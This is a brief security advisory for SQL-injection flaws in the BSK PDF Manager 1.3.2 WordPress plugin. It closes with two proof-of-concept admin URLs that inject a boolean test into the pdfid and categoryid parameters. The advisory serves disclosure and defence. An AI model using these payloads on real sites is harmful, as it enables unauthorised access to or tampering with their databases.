source: https://www.securityfocus.com/bid/68488/info
BSK PDF Manager plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues could allow an attacker to compromise the application, access or modify data,or exploit latent vulnerabilities in the underlying database.
BSK PDF Manager 1.3.2is vulnerable; other versions may also be affected.
http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1and1=2
http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1and1=2